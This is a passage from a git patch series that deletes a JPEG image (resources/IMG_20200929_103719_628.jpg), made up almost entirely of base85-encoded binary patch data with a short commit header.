zp~H~mj9>mIB8@N|$rCnKwzuonAM2(@Pi(%p8&rSaxK(*`gZavFR*d3$;{F|Ppes%} z!t)w~RTJ%H^NY(#$lZRcrr3zt7;iccsU?}@vm%)sjw{gi^!fV)YsnRwHbw=U(*IJm zWRx2gg4(vSw#*`oEi36pShbZ@YHS=#ans(;tE)of>;W4%pz{}eZkMs6tkb@2ZVY#) z-d(NBZiz=z`XLDvCz^90l7{6MSzQ9GBpogWPc|41-Rd8~X*fLt@oAl=5 zG0vwNE$&Iy@>efEx4IGjVzZQQIpT?uECYW$d)CQlz^#G0sDv;G)UMU=)#9cY8$Vno zKufL69c^d371lCjE2^g*Y3kUH@vVw8*c36$jsrZ$h?CnKb8q(~{8_Rp)D-P8jMLDt ztlQO>m|t<*AKqtnU%y}^)ij)1KzV2uKB1`B9O_4p5={yA6oCoj$N+b@d#9g zdhYuVZOXq^9&Cqojz!}1;;ay>Es3<2mIH$0WjZ?fu5HyUTT&-Zv?gsO7Z=|OEQjZs zA0#>?b!nd=Owv1Zq#RhTPU zA8>^YPxrx4wv&CKJ-zZ3mWp;T6vBKcG0Ebz6QAz+NP}A?*?8x!7-K{8W6CK9=pwkT z4=qq@JmisnJxG4NmtIE*kjA0UNADaAlrcPLwy=Uf4tkvD|LYdP*6_wviv5p_l;2 zluuD2bG2Yg^`bfK%Ik(T#8rv=A(FUXRB+i!$e%SWh^3vK{E`-AYU?<7qJLKb&0_I9 zg%0ada=ggI$={|El&O}}5={L?`2712XvS5ROdiddgEx*=e?N9$@T8(+cyKyNq@oWj zihY2P^bkGJ&T^&4Zguu1zz@6EDJHkS?VR`_(i4%Bbjwb#qDUdCGCmGe&kmEz~RZ)aRoJo;p)|c&v_f%C!fYXG?!f= zOojk0%zvI`JnOjsT>bpcD7bu=rzOngv?pF;N}N}X5MkSr#MTtn?Uf7?zS>aIG!aw? zP8gv`CG2+;eXkLOCS*3{dn+;(123zsVPF59Qaie0(&|M zY{jFxctg0j>Dn)ndq>FSIR#_)7LnUT<4$Q{TyeHz>J(RoRZ5 zeUugrMvQ=t7IwKcvcwnlZ-GF2nN`>rc%GW7L`g_D(rKlPYN|bhOv^ZMHUVT>>;T!V6m?i+EaX0b;h-VQiD{*C;n!a(x-5Q zG`RDYRPA-P4BrP69q=%x3nDHd<9%3p?+ZBQMJ6J1=pC(j2G>?@klwJ-_qsP#NEM^x|}S zat@%#NpzQ?>$zh;dU{@-Z4qcyPgP`ThXXtpMamL~hn_dV=OhgXD{}|#Fghg`Vo~dE zWk^>;FF?=EA{L>VTvCPBqhsL@^s*f*dDGmi!{Occ~MQ8NJ}C0Y@5FFiU7JGiJvN7o~{S0HeUPz z@lVPtau?Q)0I`~#=8}Hv8!;QA0GCI$sM(Uk1QDvoAL8IdaRNf2CM08zgP&F`F6L`eh>%xBbkStNN#PaM`4$73oW*=boc@F^x`Kk#c=>&@GA z8(&P{BiEvief>~X{wOUgfLT;_7Ne=SFw0q)dt0t^0U5mw`CSJ8|U!^-E*--P(y4NAUp_QOW zV(8O0#lT~lG0KNvfBMZOs<=>?CjlkhT1NBOVd_eLV??nwGL=3U#?*UcjT}o#BbiJ1 z{P;s~!UoeodAgt|of36CJ})Vn$0TDFHPk-+@;RpgIkHaHKw*SD+C)g%u!EZc*|l3f z$g;%1MkG(3ofp-WhP5%G%yq93tJP z1z+GC1f$Uoc@=LqP^|~UO_m{39+ntfW7gcI-pKmMplDvfa!K%D6_liD z=WIz)5=hTvhINtO1T7+|@1cWp!uYHRM=_GF@d5;MbjYF&-HZMxD{dC+&+QLY%oJi` ze}h{^ocCcAOMIpOzSLu#2^iUSsQ4thbK<3(%yrBcYoXO+vYf?V`Z3D^kMxkn#Z573 zN7%qD9+!C!MeTON9c^ePUXQbLgJ1T8J%KnunF*hkDgsA&vl8OHYOCz}7x$a~5BB8Y zZ+m8o?^L6Z4C7hRxl#R!Mg{A`-dud%OxxZ0IvA%N#b_bDUP@PKhZ5LD!Xz`-ni)R4 zk;bOiwBJV0l`PuJ4F7=v!UC(H=nvrGVzEJ^24O|4`C{yrYjloAj6jLjc%dS1KtIXi8{}6YGHu1woafnY+5OZf+4f0pkoZowxgy_&Kf8VS^9jy$3h;nR zkl1w?usU@p4xzQ zGQ<(B>#>BKIFSf&Sf}U7x7ai=5ol5U*+2D_pr$nK4Y6u!5CYh}FbYr%hEDpm>EmM? zaD{6--vhb-i4TrpN&T%6{}S3`gQP5!1_o8ok>?6PV`%}C@0=u;96z%)>J%@jkP ztr#8PJk;VSNZe*FKb>9xgyF@%~{X_%2{r-25P8c6i{luxGsY`n#?Rvvle*NR(j$um^-C>N4Py1tnz6h?DY%Wu^tLYS{FRrK24 z8uK;VlTA(W^4Z94+Xd6PmvrR%&iI&*7oRIWdKZtD3Ppw=!%5m=Mj^~hI5Fk($E1CW zB;EpXI-&$(QOsU-5#}McKdHZgr`_aJ7c^D~*h@;CaZA6!c2}=%$&u}gh(4DBVazBt zW_-UR%d_BTmO~S>Yfd^>tNj5I?Mp*ufv5MhH@(1i4v^~;7=*gB;z@u(E~V938#_8H z4aVz%`}14{t2Ay)4AX~7gg=?6d=vFVTZ`?PR&QZH;W6PCIT;ubCjldptIH!V;IP93)fiqhj4wQKEFGnX#@{!n`iQu zYc9n5DoJKWOIW!!cwnTm49J&yt1%HPkAQ~u7zbyV3TgL-X36V%8L^=k4wP46vB^Vc z&cB=3V5wWBJ0YD~S%e^ zNKRFP?+T2?F9o+7;_bz*@jw!y5-?<0usX@UJWCWYZD(8D&@?yOXYZd@ z(YeWEq8Olv8K!BUxv|KVhl6vbZam|vV!t$L53iGbyfLs((z1@u>fGE}Utn6)bEjtGRN*unZH^Y3NDg=Ym# zZt^&BoW9;JRQ}X!XbAYwMb(pPbUmjxkTc!`t@61!_yJvi;nucgYt=v#_1fR#nA~=S zF$$=Qpk6;Q0fte(x+u;_z%A0_NE2Jq)nezQ;R~!!B6^T|y>)_2b&RKOQ84}4|> zYPpXJD}SUJO{F3o-40^mW%c=sx)S@bGbm{QAivDgS(cV;)=DMiQEK(@V)wQuc~kTY z4bQltdctY6=IR7DrDatA+%L4_DWi6Z2o008b2Us6+bNixf)ve}PXtSoA8QM}Wa55v z>nSupRUm0AooAc}omz3J%VP2>!GPT1gS2$EI~MoCQ{55kgsyhh{v0W+d^mm+I`r9; zX5C7bh*#N?J1UkS8o7Ng61#6Z;ot8DWY7InUpZ9Lu;f$$aqBKVc9rG$w6Vlzh&N2) zIeV8_Um)Q@vO~%$;W|?xyu)zgi5Sri7B}E z_^XgHjo5`%7MjGx>O?qPT_9c+)(e2*7~zqiE{$7O(F{uzsW`pKPA-s-cDHN9@s1N^ zP7aHytlYRJK>xw+^2xQ>rB&auSz(^--J-{Jqd@0< z2G+ynKzCf2KtHy#{M(gdja!ZfE;~Nw440q!qR@lRl+haSRm>`kx9ErOaSq!x+TJ=+ z$SoJ|ae7tXeRO_pmTIhd@v5DoSs57UeSAE01`V0mp2Yslq7f{){ms_!Xzb>(Sx=fS zP^sHA!2Tf|9Pgdh79i8lS1bUd+=}l8zU2hlHWQSb3dob4luL*pkVauT(XUIHVE@x~ zt{7gRMt@J)&h4D|UFIPFrIKV52&>6pCN5qv3~aDfT>_1Z>Xz_IAac4RB*xScu_E0? zaglu3@@$`vmS1zBtXTi%Lg8L(Z2wj!|ILMBzlD3vg<|4R3LE0GIpR^U#DM|~9CEAw zNqs^?LH$jA2AM#$+en^a1H(KwD{9#1`9}uueQ1|DTrSBg^m~&HkB@duLHL6RGpoVq zJe>CMYiSLwA={?tTdDkmF?ebGOwF^&Yqm$BeMSumIt}h?OD&-i$}?DMHgoR3l)t}i zry;4`@O8eLJKj3w!x;W%=EgV(z7yf=r5_4~RbeZy21gEuSj6Te45>i<_6SJefeIMx zx_Pu>slv_4ytyMN_Q-15L_ujiDT6W8aU8!>{r#n|sCb?#8%6dR}pqCRTwMiw2s5@PBS@Uz7zH-uPq8gs3pyHMKIs%OngreQRk6+c#pDb@f0*F!HpO z;FCPN%4qStRB%Ftk>oUJV zYSFrjIvBwI%qmXBh3!ebF^xh2>J=2p6fs3YJb0D+!h0H2@+=}t@z&q7%*v~Na%1^| zWFXhYzjqdfn)NiHEA9GZpic+AtRJF4lQ9|2`L3R^ZQ(ohqW0Hcy5i=A>Mn}+Sdsi6 z(qDf`51^s!HmzJds$lmuvP<Ot9`Z7whAIgHH9mf;?|+-#(}(nV1uvZNi4Jt_DlfFE2A%-zGiRswE#% z8dI$P@lmP%Y26}wa4gFovMW9(deWR{AXT6e7tV7KAc54DOD%vqOycI1ud8`9WA?t?(~0(nG7B7>JA2vQd>ks8#^j!^7=Zv9E@{1+wZ}3PmTNt#fXck zlr7aGkMGdzdVT5dMm3-weV#K&4mj5e23 zBNhGaeOgCmNBJl8h3C&j@?nV%~qa7zP>!9tHvCZ&~WU>r(JIikOsa!iJ8x6iRp?FpH>D zE_*;6K8JzBznuJ9;s49YJplNO_6x=Z0A5FZY)Cx@nSp(V`F76Y_(ztC(%6*BIP-lVJx#U2)RziR8N} z2}CWI&eQFWPmR{-8OKnwstt)Np1B=Zc)5!#axVTC?0%qNQG%NAz`SBKq8~lVL72h$ zc5e5e7EvPXIs(l!$+Yg+JeK$yJ5PZzdSR*=W&WT~Y2F&dv90pOn^gv^>vpK}^0Ugz zAMI;L2^iU<@9y<6E^WDQXMd&s7_b(re<(65u584PM~g?#nGPiBF`R%1e6)+_x-x=z zM_)Ctg);4J9sSCW;DHf*t-xFt<9@m5?0W&$m35?kZ!cHg3Z2o9eA19lXI-N^^+G;J zcen!c#u#4sVbmPe zXiJJz^wsf)ow6GC?@JY&IxK&$7?YcGoww3&C}wAq`UCMlwFzx2w#YWW2B}^1AVDXN zX}l#fp}8Omq!7k}AS{rQK-+})5V4L4FVA`BUtN6%T$kvyMfYtd^FOBYP$t{EB0dRC zPrc^nlSQ3}fU9+HnGgaHW&Tw8R>mk!R_}MA1SM*QSP=@IhwX@_^jmbk?Ah@j``?%4 zalx<5d?lbsEc!rhm zeeV3^^D;kv5Xy->PK}Vz>PaByHA3j&^hJ&}S@4cDiHYe6ehyTcGt}U;A zQ*1uPP`rOvuk9_Y&R1}S=jtu6d>Yqu%=b#qlHtAic!n#gAx%|br@nJfzEK>LU_ayc z!ABYAS|Ls2sVD8TPrg5~rNJ55v3QjSYI9sSY#(B$irUaDyqLdodT%{L)5$RCmr{53^Di*p_un;6QiJJ&jxf^>7 zP&nuyY-55&hIE;n&`?%!EQ` zoG;+_7e_6*h(AHx>~9w0a=VYU7tE4k-^N8m2l6A=Hh7m68_0*RAfLm3MbC7L6YVRL zKt~#eukfKGnRAl|f8*8J8Jw7XiU}#V-3b`NvEkvRs?{S5`SB5Duc;n8Y=Jz~*%+6} z<;|?E%Cb~AJtkICqFu>VCkA2vSAWI=6F9WEw9xK`9!u1DRO9g`1O#%e_Or}z^yGx3 z4CZx+bDS1=XhHkerFFazHkBKy;13(J6hEn%Kl%%z^-|1eVT1-bee9)l=xgrk*Dned zLZcVoud(Gr-p+Vdxtss3?j@r?Qq-1xAleL?nU8R_7gViow0C0vZQP1H%V@tdS$8A_ z@+1y?JN^lI8l(%7gubIR$XwW~uxcqIC9UK*sSI5;UWKZlxz!__DLm~D_V^G_HDmT% z5Jq%1Ti4jq+!Bjj9l!k~Yh|&N5@r%1=q`ivlw8l}v}F1-!;!Sajw@@Bv`o={QINc` zR*ovwd+mv{`sQ?D;d+p498tWgG(~6<2TRS%CvBkK(Uawwj8}^AxuPA;BUB?}ZGZ`B z(aK4~iCZ;kH@y;zbT0eha(329@V?BOYSLy8f3j`Sr__BnUsmbxX39F9$2gj8aB~DT zf+#D)K5a&-Gi+aiHJ;Bbueq)DoFL**A1vVkAtSbz@x0n+4zo1Y4rgi0_TFdEPTrE6 zN~T3(`>~C$_@|k3qaFW(uK#+3!wRY=tKzn7F!Bb!ghL-Tp@DUc5n(T-Kc1A+APRZB z(b8+mmEf59@!kL%f)zM}qyEg2SpNBoLbJTL!?3beN|@|(5?*WIo;|$SLVzCGjMCCZ z#hy^F99NS76sM!Ft*K%0ft5QsH*3>29uH@MmHoGs`*e4SUYqbk`n`TGEG;$-VKoWz z0$L^Oo|_(y=2^Sqv+f> zQ94qaz4a&<&u|N^TK=w%@t%q+T5#5Qb0n$VlX=)e1FKrHS9!H9rAC+TZJN^hEuO$m z<`2uXviIS6N!SK-OdR>%%$4)BTgBUkQm=nZ*1&S-+UM@hcCIF<(C)kC9x@E~DUQ)| zl10-3<#1)Ggu{HnFk;W%B`_QKWFJ#+unlp^$IW%ewei}Dc&c#W=^x z`xnGr6-G$hDaI_A1u1205NsWM#Etrqk9CDxeC$vv{RefbAB2rZuvH01u);M}K>o>D zf({DEhxT%m#f^*_>J`lMr*6oW=^mVF-Y{;=#iO^yrI%l&aFVCl`J30b1YZUf-6{5#>iPhlk+nn__Vm4*oVVhXT zskoSILOKePM|0lIJgH=*r|b=~ua(Y71WO>|+G#w;AGz{Z555>fW;GVW)U0h=(;S2; zx&82_`%;DRAMSKR7v`jYi%JsqVr5sroAM&S*EnZfYWBl}a`Qo1 Date: Sun, 10 Jan 2021 22:33:17 +0530 Subject: [PATCH 462/838] Delete IMG_20200929_103719_628.jpg --- resources/IMG_20200929_103719_628.jpg | Bin 12339 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 resources/IMG_20200929_103719_628.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg deleted file mode 100644 index 207ae1516c153342d3630fa97f497afcd0071494..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12339 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 